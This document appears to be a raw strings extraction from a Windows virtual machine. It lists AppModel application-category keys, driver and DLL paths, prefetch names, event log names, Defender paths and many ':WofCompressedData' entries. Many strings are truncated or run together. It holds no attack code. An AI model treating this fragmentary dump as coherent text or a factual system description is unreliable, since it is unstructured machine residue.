Category\windows.internal.componentUI\34 windows.protocol Application\1b\35 ApplicationAndCategory\1b^windows.protocol\35 Category\windows.protocol\35 windows.protocol Application\1c\36 ApplicationAndCategory\1c^windows.protocol\36 Category\windows.protocol\36 windows.aboveLockScreen Application\1c\37 ApplicationAndCategory\1c^windows.aboveLockScreen\37 Category\windows.aboveLockScreen\37 windows.shareTarget Application\1d\38 ApplicationAndCategory\1d^windows.shareTarget\38 Category\windows.shareTarget\38 windows.backgroundTasks Application\1d\39 ApplicationAndCategory\1d^windows.backgroundTasks\39 Category\windows.backgroundTasks\39 windows.protocol Application\1d\3a ApplicationAndCategory\1d^windows.protocol\3a Category\windows.protocol\3a windows.backgroundTasks Application\1d\3b ApplicationAndCategory\1d^windows.backgroundTasks\3b Category\windows.backgroundTasks\3b windows.protocol Application\1d\3c ApplicationAndCategory\1d^windows.protocol\3c Category\windows.protocol\3c windows.backgroundTasks Application\1d\3d ApplicationAndCategory\1d^windows.backgroundTasks\3d Category\windows.backgroundTasks\3d windows.appExtension Application\1d\3e ApplicationAndCategory\1d^windows.appService\3e Category\windows.appService\3e windows.appService Application\1d\3f ApplicationAndCategory\1d^windows.appService\3f Category\windows.appService\3f windows.protocol Application\1d\40 ApplicationAndCategory\1d^windows.protocol\40 Category\windows.protocol\40 windows.appService Application\1d\41 ApplicationAndCategory\1d^windows.appService\41 Category\windows.appService\41 windows.protocol Application\1d\42 ApplicationAndCategory\1d^windows.protocol\42 Category\windows.protocol\42 windows.appService Application\1f\43 ApplicationAndCategory\1f^windows.appService\43 Category\windows.appService\43 windows.backgroundTasks Application\1f\44 ApplicationAndCategory\1f^windows.backgroundTasks\44 Category\windows.backgroundTasks\44 windows.backgroundTasks Application\1f\45 ApplicationAndCategory\1f^windows.backgroundTasks\45 Category\windows.backgroundTasks\45 windows.backgroundTasks Application\41\a8 ApplicationAndCategory\41^windows.backgroundTasks\a8 Category\windows.backgroundTasks\a8 Application\20\46 ApplicationAndCategory\20^windows.backgroundTasks\46 Category\windows.backgroundTasks\46 windows.backgroundTasks Application\20\47 ApplicationAndCategory\20^windows.backgroundTasks\47 Category\windows.backgroundTasks\47 windows.protocol Application\21\48 ApplicationAndCategory\21^windows.protocol\48 Category\windows.protocol\48 windows.protocol Application\22\49 ApplicationAndCategory\22^windows.protocol\49 Category\windows.protocol\49 windows.appExtension Application\23\4a ApplicationAndCategory\23^windows.appExtension\4a Category\windows.appExtension\4a windows.appExtension Application\23\4b ApplicationAndCategory\23^windows.appExtension\4b Category\windows.appExtension\4b windows.appExtension Application\24\4c ApplicationAndCategory\24^windows.appExtension\4c Category\windows.appExtension\4c windows.appExtension Application\24\4d ApplicationAndCategory\24^windows.appExtension\4d Category\windows.appExtension\4d windows.appExtension Application\24\4e ApplicationAndCategory\24^windows.appExtension\4e Category\windows.appExtension\4e windows.appExtension Application\25\4f ApplicationAndCategory\25^windows.appExtension\4f Category\windows.appExtension\4f windows.appExtension Application\25\50 ApplicationAndCategory\25^windows.appExtension\50 Category\windows.appExtension\50 windows.appExtension windows.appExtension Application\25\51 ApplicationAndCategory\25^windows.appExtension\51 Category\windows.appExtension\51 Application\26\52 ApplicationAndCategory\26^windows.appExtension\52 Category\windows.appExtension\52 windows.appExtension Application\26\53 ApplicationAndCategory\26^windows.appExtension\53 Category\windows.appExtension\53 windows.appExtension Application\27\54 ApplicationAndCategory\27^windows.appExtension\54 Category\windows.appExtension\54 windows.appExtension y\Security \Device\HarddiskVolume3\Windows\System32\OneCoreUAPCommonProxyStub.dll ,ExcludeClipboardContentFromMonitorProcessing \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryPS.dll \Device\HarddiskVolume3\Windows\System32\en-US\winnlsres.dll.mui WIN://SCMUserService \Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a CLOUDEXPERIENCEHOSTBROKER.EXE-AB26EBC7.pf WIN://SCMUserService rity \Device\HarddiskVolume3\Windows\System32\ResourcePolicyClient.dll WIN://SCMUserService \ProgramData\Microsoft\Windows Defender\Scans\History\ReportLatency\Latency\19 \ProgramData\Microsoft\Windows Defender\Scans\History\ReportLatency\LatencyKER ISTRY\MACHINE\SYSTEM\Control Microsoft-Windows-SMBServer%4Security.evtxKER MICROSOFTEDGE_X64_145.0.3800.-3DFDFBA3.pf ISTRY\MACHINE\SYSTEM\Control Microsoft-Windows-SMBServer%4Connectivity.evtx BDTR \Windows\System32\drivers\wtd.sys Security ISTRY\MACHINE\SYSTEM\Control MICROSOFTEDGE_X64_145.0.3800.-CB9933EB.pfCKER MICROSOFTEDGE_X64_145.0.3800.-8694862C.pf \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe WINDOWS-KB890830-X64-V5.139.E-B3E946C4.pf -WindowsForms10.SCROLLBAR.app.0.129c866_r7_ad1 ISTRY\MACHINE\SYSTEM\Control Microsoft-Windows-NCSI%4Operational.evtxOCKER MICROSOFTSTARTFEEDPROVIDER.EX-E9BB04B4.pf ,WindowsForms10.COMBOBOX.app.0.129c866_r7_ad1 MICROSOFTEDGE_X64_145.0.3800.-DDC003D5.pf 1WindowsForms10.SysListView32.app.0.129c866_r7_ad1 \ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\X86\en-USOCKER \Device\HarddiskVolume3\Windows\System32\OneCoreCommonProxyStub.dll \Windows\System32\drivers\vmmemctl.sys \Windows\System32\drivers\vmhgfs.sys dtctrace.log.2026-02-24-09-06-02-0321-00 \Device\HarddiskVolume3\Windows\SysWOW64\wbem\en-US\wmiutils.dll.mui OCKER \Device\HarddiskVolume3\Windows\System32\en-US\winnlsres.dll.mui \Windows\System32\drivers\srvnet.sys ISTRY\MACHINE\SYSTEM\Control AM_DELTA_PATCH_1.445.172.0.EX-96863118.pfCKER \Device\HarddiskVolume3\Windows\System32\NotificationControllerPS.dll \Device\HarddiskVolume3\Windows\System32\FirewallControlPanel.dll .sys.mui \Windows\System32\drivers\srv2.sys \Windows\System32\drivers\Ndu.sys \Device\HarddiskVolume3\Windows\Prefetch\MREMOTENG.EXE-610BBBDA.pf networkprivacypolicy.inf_amd64_9cb09ef0ae0d2066 a:{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mremoteng\mremoteng.exe \Windows\System32\drivers\mmcss.sys Microsoft-Windows-Windows Defender%4WHC.evtx \Device\HarddiskVolume3\ProgramData\VMware\VMware VGAuth\vgauth.conf HJTR \Windows\System32\drivers\condrv.sys OCKER \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls \Device\HarddiskVolume3\Windows\System32\en-US\msdtcVSp1res.dll.mui \Windows\System32\drivers\tcpipreg.sys \Windows\System32\drivers\PEAuth.sys \Device\HarddiskVolume3\ProgramData\VMware\VMware VGAuth\logfile.txt.0 \Device\HarddiskVolume3\Windows\Globalization\Sorting\SortDefault.nls ISTRY\MACHINE\SYSTEM\Control Microsoft-Windows-SMBServer%4Operational.evtx "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" CKER \Windows\System32\DriverStore\FileRepository\prm.inf_amd64_7c38475757a1f016KER Application\27\55 ApplicationAndCategory\27^windows.appExtension\55 Category\windows.appExtension\55 windows.appExtension Application\2b\5f ApplicationAndCategory\2b^windows.appExtension\5f Category\windows.appExtension\5f Application\28\56 ApplicationAndCategory\28^windows.appExtension\56 Category\windows.appExtension\56 windows.appExtension Application\28\57 ApplicationAndCategory\28^windows.appExtension\57 Category\windows.appExtension\57 windows.appExtension Application\29\58 ApplicationAndCategory\29^windows.appExtension\58 Category\windows.appExtension\58 windows.appExtension Application\29\59 ApplicationAndCategory\29^windows.appExtension\59 Category\windows.appExtension\59 windows.appExtension Application\29\5a ApplicationAndCategory\29^windows.appExtension\5a Category\windows.appExtension\5a windows.appExtension Application\2a\5b ApplicationAndCategory\2a^windows.appExtension\5b Category\windows.appExtension\5b windows.appExtension Application\2a\5c ApplicationAndCategory\2a^windows.appExtension\5c Category\windows.appExtension\5c windows.backgroundTasks Application\38\8c ApplicationAndCategory\38^windows.backgroundTasks\8c Category\windows.backgroundTasks\8c Application\2b\5d ApplicationAndCategory\2b^windows.appExtension\5d Category\windows.appExtension\5d windows.appExtension Application\2b\5e ApplicationAndCategory\2b^windows.appExtension\5e Category\windows.appExtension\5e windows.appExtension Application\32\6d ApplicationAndCategory\32^windows.appExtension\6d Category\windows.appExtension\6d windows.appExtension Application\2c\60 ApplicationAndCategory\2c^windows.appExtension\60 Category\windows.appExtension\60 windows.appExtension Application\2c\61 ApplicationAndCategory\2c^windows.appExtension\61 Category\windows.appExtension\61 windows.appExtension Application\2d\62 ApplicationAndCategory\2d^windows.appExtension\62 Category\windows.appExtension\62 windows.appExtension Application\2d\63 ApplicationAndCategory\2d^windows.appExtension\63 Category\windows.appExtension\63 windows.appExtension Application\2d\64 ApplicationAndCategory\2d^windows.appExtension\64 Category\windows.appExtension\64 windows.appExtension Application\2e\65 ApplicationAndCategory\2e^windows.appExtension\65 Category\windows.appExtension\65 windows.appExtension Application\2e\66 ApplicationAndCategory\2e^windows.appExtension\66 Category\windows.appExtension\66 windows.appExtension Application\2f\67 ApplicationAndCategory\2f^windows.appExtension\67 Category\windows.appExtension\67 windows.appExtension Application\30\68 ApplicationAndCategory\30^windows.appExtension\68 Category\windows.appExtension\68 windows.appExtension Application\30\69 ApplicationAndCategory\30^windows.appExtension\69 Category\windows.appExtension\69 windows.appExtension Application\31\6a ApplicationAndCategory\31^windows.appExtension\6a Category\windows.appExtension\6a windows.appExtension Application\31\6b ApplicationAndCategory\31^windows.appExtension\6b Category\windows.appExtension\6b windows.appExtension Application\32\6c ApplicationAndCategory\32^windows.appExtension\6c Category\windows.appExtension\6c windows.appExtension Application\39\94 ApplicationAndCategory\39^windows.appExtension\94 Category\windows.appExtension\94 windows.protocol windows.appExtension Application\32\6e ApplicationAndCategory\32^windows.appExtension\6e Category\windows.appExtension\6e windows.appExtension Application\32\6f ApplicationAndCategory\32^windows.appExtension\6f Category\windows.appExtension\6f windows.appExtension Application\33\70 ApplicationAndCategory\33^windows.appExtension\70 Category\windows.appExtension\70 windows.appExtension Application\33\71 ApplicationAndCategory\33^windows.appExtension\71 Category\windows.appExtension\71 windows.appService Application\33\72 ApplicationAndCategory\33^windows.appService\72 Category\windows.appService\72 windows.backgroundTasks Application\33\73 ApplicationAndCategory\33^windows.backgroundTasks\73 Category\windows.backgroundTasks\73 windows.backgroundTasks Application\33\78 ApplicationAndCategory\33^windows.backgroundTasks\78 Category\windows.backgroundTasks\78 windows.backgroundTasks Application\33\79 ApplicationAndCategory\33^windows.backgroundTasks\79 Category\windows.backgroundTasks\79 windows.preInstalledConfigTask Application\33\7a ApplicationAndCategory\33^windows.preInstalledConfigTask\7a Category\windows.preInstalledConfigTask\7a windows.comServer Application\34\7b ApplicationAndCategory\34^windows.comServer\7b Category\windows.comServer\7b windows.appExecutionAlias Application\46\c1 ApplicationAndCategory\46^windows.appService\c1 Category\windows.appService\c1 windows.backgroundTasks Application\34\7c ApplicationAndCategory\34^windows.appExecutionAlias\7c Category\windows.appExecutionAlias\7c windows.appExtension Application\35\7d ApplicationAndCategory\35^windows.appExtension\7d Category\windows.appExtension\7d windows.appExtension Application\35\7e ApplicationAndCategory\35^windows.appExtension\7e Category\windows.appExtension\7e windows.appExtension Application\35\7f ApplicationAndCategory\35^windows.appExtension\7f Category\windows.appExtension\7f windows.appExtension Application\35\80 ApplicationAndCategory\35^windows.appExtension\80 Category\windows.appExtension\80 windows.appExtension Application\35\81 ApplicationAndCategory\35^windows.appExtension\81 Category\windows.appExtension\81 windows.appExtension Application\36\82 ApplicationAndCategory\36^windows.appExtension\82 Category\windows.appExtension\82 windows.appExtension Application\36\83 ApplicationAndCategory\36^windows.appExtension\83 Category\windows.appExtension\83 windows.appExtension Application\37\84 ApplicationAndCategory\37^windows.appExtension\84 Category\windows.appExtension\84 windows.appExtension Application\37\85 ApplicationAndCategory\37^windows.appExtension\85 Category\windows.appExtension\85 windows.appExtension Application\37\86 ApplicationAndCategory\37^windows.appExtension\86 Category\windows.appExtension\86 windows.appExtension Application\38\87 ApplicationAndCategory\38^windows.appExtension\87 Category\windows.appExtension\87 windows.appExtension Application\38\88 ApplicationAndCategory\38^windows.appExtension\88 Category\windows.appExtension\88 windows.appExtension Application\38\89 ApplicationAndCategory\38^windows.appExtension\89 Category\windows.appExtension\89 windows.appExtension Application\38\8a ApplicationAndCategory\38^windows.appExtension\8a Category\windows.appExtension\8a windows.appService Application\38\8b ApplicationAndCategory\38^windows.appService\8b Category\windows.appService\8b windows.backgroundTasks Application\38\8d ApplicationAndCategory\38^windows.backgroundTasks\8d Category\windows.backgroundTasks\8d windows.backgroundTasks Application\48\d2 ApplicationAndCategory\48^windows.appExtension\d2 Category\windows.appExtension\d2 windows.search Application\48\d3 ApplicationAndCategory\48^windows.search\d3 Category\windows.search\d3 windows.protocol Application\38\8e ApplicationAndCategory\38^windows.backgroundTasks\8e Category\windows.backgroundTasks\8e windows.backgroundTasks Application\38\8f ApplicationAndCategory\38^windows.backgroundTasks\8f Category\windows.backgroundTasks\8f windows.updateTask Application\38\90 ApplicationAndCategory\38^windows.updateTask\90 Category\windows.updateTask\90 windows.preInstalledConfigTask Application\38\91 ApplicationAndCategory\38^windows.preInstalledConfigTask\91 Category\windows.preInstalledConfigTask\91 windows.appExtension Application\39\92 ApplicationAndCategory\39^windows.appExtension\92 Category\windows.appExtension\92 windows.appExtension Application\39\93 ApplicationAndCategory\39^windows.appExtension\93 Category\windows.appExtension\93 windows.appExtension Application\47\c7 ApplicationAndCategory\47^windows.appExtension\c7 Category\windows.appExtension\c7 windows.search Application\3a\95 ApplicationAndCategory\3a^windows.protocol\95 Category\windows.protocol\95 windows.appExecutionAlias Application\3a\96 ApplicationAndCategory\3a^windows.appExecutionAlias\96 Category\windows.appExecutionAlias\96 windows.appExtension Application\3b\97 ApplicationAndCategory\3b^windows.appExtension\97 Category\windows.appExtension\97 windows.protocol Application\62\134 ApplicationAndCategory\62^windows.protocol\134 Category\windows.protocol\134 Application\3c\98 ApplicationAndCategory\3c^windows.protocol\98 Category\windows.protocol\98 windows.appExtension Application\3c\99 ApplicationAndCategory\3c^windows.appExtension\99 Category\windows.appExtension\99 windows.appExtension Application\3d\9a ApplicationAndCategory\3d^windows.appExtension\9a Category\windows.appExtension\9a windows.appExtension Application\3d\9b ApplicationAndCategory\3d^windows.appExtension\9b Category\windows.appExtension\9b windows.appExtension Application\3e\9c ApplicationAndCategory\3e^windows.appExtension\9c Category\windows.appExtension\9c windows.appExtension Application\3e\9d ApplicationAndCategory\3e^windows.appExtension\9d Category\windows.appExtension\9d windows.appExtension Application\3e\9e ApplicationAndCategory\3e^windows.appExtension\9e Category\windows.appExtension\9e windows.protocol Application\3f\9f ApplicationAndCategory\3f^windows.protocol\9f Category\windows.protocol\9f windows.appExtension Application\3f\a0 ApplicationAndCategory\3f^windows.appExtension\a0 Category\windows.appExtension\a0 windows.appExtension Application\3f\a1 ApplicationAndCategory\3f^windows.appExtension\a1 Category\windows.appExtension\a1 windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.extensionpackage Application\40\a2 ApplicationAndCategory\40^windows.appExtensionHost\a2 Category\windows.appExtensionHost\a2 windows.appExtension Application\40\a3 ApplicationAndCategory\40^windows.appExtension\a3 Category\windows.appExtension\a3 windows.appExtension Application\40\a4 ApplicationAndCategory\40^windows.appExtension\a4 Category\windows.appExtension\a4 windows.appExtension Application\41\a5 ApplicationAndCategory\41^windows.appExtension\a5 Category\windows.appExtension\a5 windows.backgroundTasks Application\41\a6 ApplicationAndCategory\41^windows.backgroundTasks\a6 Category\windows.backgroundTasks\a6 windows.backgroundTasks Application\41\a7 ApplicationAndCategory\41^windows.backgroundTasks\a7 Category\windows.backgroundTasks\a7 windows.backgroundTasks Application\9f\202 ApplicationAndCategory\9f^windows.backgroundTasks\202 Category\windows.backgroundTasks\202 windows.backgroundTasks Application\41\a9 ApplicationAndCategory\41^windows.backgroundTasks\a9 Category\windows.backgroundTasks\a9 windows.backgroundTasks Application\41\aa ApplicationAndCategory\41^windows.backgroundTasks\aa Category\windows.backgroundTasks\aa windows.backgroundTasks Application\41\ab ApplicationAndCategory\41^windows.backgroundTasks\ab Category\windows.backgroundTasks\ab windows.backgroundTasks Application\41\ac ApplicationAndCategory\41^windows.backgroundTasks\ac Category\windows.backgroundTasks\ac windows.updateTask Application\41\ad ApplicationAndCategory\41^windows.updateTask\ad Category\windows.updateTask\ad windows.preInstalledConfigTask Application\41\ae ApplicationAndCategory\41^windows.preInstalledConfigTask\ae Category\windows.preInstalledConfigTask\ae windows.appExtension Application\42\af ApplicationAndCategory\42^windows.appExtension\af Category\windows.appExtension\af windows.appExtension Application\42\b0 ApplicationAndCategory\42^windows.appExtension\b0 Category\windows.appExtension\b0 windows.appExtension Application\42\b1 ApplicationAndCategory\42^windows.appExtension\b1 Category\windows.appExtension\b1 windows.appExtension Application\43\b2 ApplicationAndCategory\43^windows.appExtension\b2 Category\windows.appExtension\b2 windows.appExtension Application\43\b3 ApplicationAndCategory\43^windows.appExtension\b3 Category\windows.appExtension\b3 windows.appExtension Application\44\b4 ApplicationAndCategory\44^windows.appExtension\b4 Category\windows.appExtension\b4 windows.appExtension Application\44\b5 ApplicationAndCategory\44^windows.appExtension\b5 Category\windows.appExtension\b5 windows.appExtension 03222332223322233222332223322233 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:2944:304:WilStaging_02_p0h VMwareToolsDumpStateEvent_vmsvc :WofCompressedData SM0:2944:304:WilStaging_02_p0 VMwareToolsQuitEvent_vmsvc \Endpoint SM0:2944:304:WilStaging_02 :WofCompressedData \CMNotify :WofCompressedData :WofCompressedData re.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\wbem\Logs :WofCompressedData :WofCompressedData \CMApi \Windows\System32\spinf.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData WINMGMT_COREDLL_CANSHUTDOWN \Windows\System32\wbem\MOFss :WofCompressedData \Windows\System32\wbem\MOF SM0:3196:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData SM0:3196:304:WilStaging_02 SM0:3196:304:WilStaging_02_p0h WINMGMT_PROVIDER_CANSHUTDOWN \Windows\System32\wbem\MOF\bad \Windows\System32\wbem\en-US ORITY :WofCompressedData :WofCompressedData \Windows\System32\wbem\MOF\good \Windows\System32\wdi.dll :WofCompressedData \Windows\System32\pdh.dll :WofCompressedData WMI_ProcessIdleTasksComplete :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData WMI_ProcessIdleTasksStart :WofCompressedData \Windows\appcompat\Programs :WofCompressedData \CMNotify SM0:2748:304:WilStaging_02 :WofCompressedData SM0:2748:304:WilStaging_02_p0 :WofCompressedData Wmi Provider Sub System Counters \Windows\System32\ :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData LanmanServerNetworkInitialized SM0:2748:304:WilStaging_02_p0h :WofCompressedData \CMNotify \CMNotify :WofCompressedData WmiProviderSubSystemHostJob :WofCompressedData SM0:2656:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData \CMNotify :WofCompressedData :WofCompressedData SM0:2656:304:WilStaging_02 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData [utcsvc] :WofCompressedData :WofCompressedData :WofCompressedData OLE52139AFE35B0CEEBA90359BE5FE4 :WofCompressedData :WofCompressedData OLE55269E1EFA6825E297933F384963 WBEM_ESS_OPEN_FOR_BUSINESS :WofCompressedData :WofCompressedData \Endpoint \CMNotify \Endpoint :WofCompressedData \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData SM0:2776:304:WilStaging_02 \Endpoint :WofCompressedData \CMNotify :WofCompressedData :WofCompressedData SM0:2776:304:WilStaging_02_p0h SM0:2776:304:WilStaging_02_p0 SM0:5340:304:WilStaging_02_p0h :WofCompressedData SM0:2656:120:WilError_03_p0 SM0:2800:304:WilStaging_02 SM0:2800:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData OLE02296736012D241EC31417C57624 :WofCompressedData ritance SM0:2800:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:2656:120:WilError_03_p0h teCloud :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData OLE4F4BCCA9BB0A43969066B9A9FE64 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\wusys.dll :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:2820:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:2820:304:WilStaging_02 SM0:6588:120:WilError_03_p0 BITS_Perf_Library_Lock_PID_aac :WofCompressedData :WofCompressedData SM0:6588:120:WilError_03_p0h SM0:2820:304:WilStaging_02_p0h :WofCompressedData \DosDevices\PEAuth OLE43F1FA70834724DCA2363A32ECE2 :WofCompressedData \Windows\Fonts\consola.ttf ESENT_Perf_Library_Lock_PID_aac ateCloud PerfOS_Perf_Library_Lock_PID_aac MSDTC_Perf_Library_Lock_PID_aac :WofCompressedData LSM_Perf_Library_Lock_PID_aac :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\esent.dll \Windows\System32\icu.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData usbhub_Perf_Library_Lock_PID_aac \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData Tcpip_Perf_Library_Lock_PID_aac :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\mi.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData ateCloud :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\mpr.dll :WofCompressedData :WofCompressedData \CMApi :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:2732:304:WilStaging_02 :WofCompressedData SM0:2732:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData SM0:2732:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData AggregatorHost.exe :WofCompressedData :WofCompressedData OLEAA25569E59F2F60A4D4FD49ECE2C :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\drivers\wd :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \srvsvc :WofCompressedData :WofCompressedData OLEF368D941FD5B82C5192C3EFFB663 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\tdh.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\Temp\vmware-SYSTEM \trkwks :WofCompressedData \srvsvc \trkwks \trkwks :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\amsi.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\MpeCm.dll :WofCompressedData \CMNotify :WofCompressedData \Windows\System32\ :WofCompressedData SM0:2888:304:WilStaging_02 :WofCompressedData \vgauth-service \ProgramData\VMware\VMware Tools :WofCompressedData SM0:2888:304:WilStaging_02_p0 SM0:4560:304:WilStaging_02 :WofCompressedData SM0:4560:304:WilStaging_02_p0 :WofCompressedData SM0:2888:304:WilStaging_02_p0h :WofCompressedData SM0:4560:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\webio.dll :WofCompressedData \Endpoint :WofCompressedData \Endpoint \Endpoint :WofCompressedData \Endpoint :WofCompressedData \Windows\System32\pnpts.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData Application\44\b6 ApplicationAndCategory\44^windows.appExtension\b6 Category\windows.appExtension\b6 windows.appExtension Application\44\b7 ApplicationAndCategory\44^windows.appExtension\b7 Category\windows.appExtension\b7 windows.appExtension Application\44\b8 ApplicationAndCategory\44^windows.appExtension\b8 Category\windows.appExtension\b8 windows.appExtension Application\44\b9 ApplicationAndCategory\44^windows.appExtension\b9 Category\windows.appExtension\b9 windows.appExtension Application\45\ba ApplicationAndCategory\45^windows.appExtension\ba Category\windows.appExtension\ba windows.appExtension Application\45\bb ApplicationAndCategory\45^windows.appExtension\bb Category\windows.appExtension\bb windows.appExtension Application\45\bc ApplicationAndCategory\45^windows.appExtension\bc Category\windows.appExtension\bc windows.appExtension Application\46\bd ApplicationAndCategory\46^windows.appExtension\bd Category\windows.appExtension\bd windows.appExtension Application\46\be ApplicationAndCategory\46^windows.appExtension\be Category\windows.appExtension\be windows.appExtension Application\46\bf ApplicationAndCategory\46^windows.appExtension\bf Category\windows.appExtension\bf windows.appExtension Application\46\c0 ApplicationAndCategory\46^windows.appExtension\c0 Category\windows.appExtension\c0 windows.appService S-1-5-18 \Device\HarddiskVolume3\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-PEAuth-OneCore-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat::$ATTRIBUTE_LIST prm.sys \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\000008.ldb acpiex.sys bisrv.dll.mui Users\Public LOCALAPPDATA=C:\WIN nfig\systemprofile\AppData\Local amdwps.sys Application\5a\11a ApplicationAndCategory\5a^windows.appExtension\11a Category\windows.appExtension\11a windows.appExtension Application\46\c2 ApplicationAndCategory\46^windows.backgroundTasks\c2 Category\windows.backgroundTasks\c2 windows.backgroundTasks Application\46\c3 ApplicationAndCategory\46^windows.backgroundTasks\c3 Category\windows.backgroundTasks\c3 windows.backgroundTasks Application\46\c4 ApplicationAndCategory\46^windows.backgroundTasks\c4 Category\windows.backgroundTasks\c4 windows.updateTask Application\46\c5 ApplicationAndCategory\46^windows.updateTask\c5 Category\windows.updateTask\c5 windows.preInstalledConfigTask Application\46\c6 ApplicationAndCategory\46^windows.preInstalledConfigTask\c6 Category\windows.preInstalledConfigTask\c6 windows.appExtension Application\58\115 ApplicationAndCategory\58^windows.appExtension\115 Category\windows.appExtension\115 windows.appExtension Application\47\c8 ApplicationAndCategory\47^windows.search\c8 Category\windows.search\c8 windows.appService Application\47\c9 ApplicationAndCategory\47^windows.appService\c9 Category\windows.appService\c9 windows.appService Application\47\ca ApplicationAndCategory\47^windows.appService\ca Category\windows.appService\ca windows.protocol Application\47\cf ApplicationAndCategory\47^windows.appExtension\cf Category\windows.appExtension\cf windows.appExtension Application\47\d0 ApplicationAndCategory\47^windows.appExtension\d0 Category\windows.appExtension\d0 windows.appExtension Application\47\d1 ApplicationAndCategory\47^windows.appExtension\d1 Category\windows.appExtension\d1 windows.appExtension Application\64\13b ApplicationAndCategory\64^windows.appExtension\13b Category\windows.appExtension\13b windows.appExtension Application\65\13c ApplicationAndCategory\65^windows.appExtension\13c Category\windows.appExtension\13c windows.appExtension Application\48\d4 ApplicationAndCategory\48^windows.protocol\d4 Category\windows.protocol\d4 windows.appExtension Application\48\d5 ApplicationAndCategory\48^windows.appExtension\d5 Category\windows.appExtension\d5 windows.backgroundTasks Application\48\d6 ApplicationAndCategory\48^windows.backgroundTasks\d6 Category\windows.backgroundTasks\d6 windows.backgroundTasks Application\48\d7 ApplicationAndCategory\48^windows.backgroundTasks\d7 Category\windows.backgroundTasks\d7 windows.appExtension Application\48\d8 ApplicationAndCategory\48^windows.appExtension\d8 Category\windows.appExtension\d8 windows.appExtension srvnet.sys spinf.dll vmmemctl.sys Application\48\d9 ApplicationAndCategory\48^windows.appExtension\d9 Category\windows.appExtension\d9 windows.appExtension Application\68\14a ApplicationAndCategory\68^windows.appExtensionHost\14a Category\windows.appExtensionHost\14a windows.appExtension Application\49\da ApplicationAndCategory\49^windows.appExtension\da Category\windows.appExtension\da windows.comServer Application\4a\db ApplicationAndCategory\4a^windows.comServer\db Category\windows.comServer\db windows.appExtension \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\AppData \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpDefenderCoreService.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows 